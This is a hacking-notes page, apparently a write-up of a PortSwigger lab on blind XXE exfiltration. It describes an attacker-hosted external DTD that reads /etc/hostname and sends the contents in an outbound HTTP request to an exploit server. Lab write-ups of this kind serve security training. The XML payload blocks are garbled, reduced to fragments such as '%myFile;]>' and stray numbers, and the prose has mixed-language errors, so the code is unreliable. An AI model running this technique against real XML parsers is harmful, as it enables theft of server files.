> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).
# Blind XXE Exfiltration via External DTD
Blind XXE Exfiltration via External DTD notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD
Lab: feature **"Check stock"** which analyzes XML but **does not show** injected content (blue XXE / OOB). / Observed behaviour: The parser accepts a DOCTYPE statement linking an external DTD and makes requests to it.
Silently extract local server data (e.g. `/etc/hostname`) by forcing the XML parser to load a malicious external DTD that itself reads the file and triggers an HTTP(S) request to our control server (collaborator / exploit server) containing read content.
#### Example Payload Sent to the Server (initial Call That Includes External DTD)
{% code overflow="wrap" %}
```xml
%myFile;]>
2
1
```
{% endcode %}
> Note: here the external DTD is hosted on our server (exploit server). The parser must retrieve it for the attack to work.
#### Malware Content Placed on Our Server (external DTD)
The DTD provided by the exploit server contains entities that read a local file and build an evaluated entity that will trigger a request to the collaborator with the exfilted content:
{% code overflow="wrap" %}
```xml
">
%eval;
%exfil;
```
{% endcode %}
Explication succincte :
* `%file`: reads the `file:///etc/hostname` local file.
* `%eval`: dynamically constructs a new `exfil` entity whose value is a URL targeting our dexfiltration server and including `%file` content as `content` parameter.
* `%eval;` and `%exfil;` cause expansion and outgoing HTTP query containing data.
#### Complete Example (final Call from Attacker to Vulnerable Application)
{% code overflow="wrap" %}
```xml
%myFile;]>
1
1
```
{% endcode %}
* The DTD to `https://.../exploit` contains the malicious DTD definitions above.
* When the parser recovers and evaluates this DTD, it ends up performing an HTTP query to our de-exfiltration server with `/etc/hostname` content.
---
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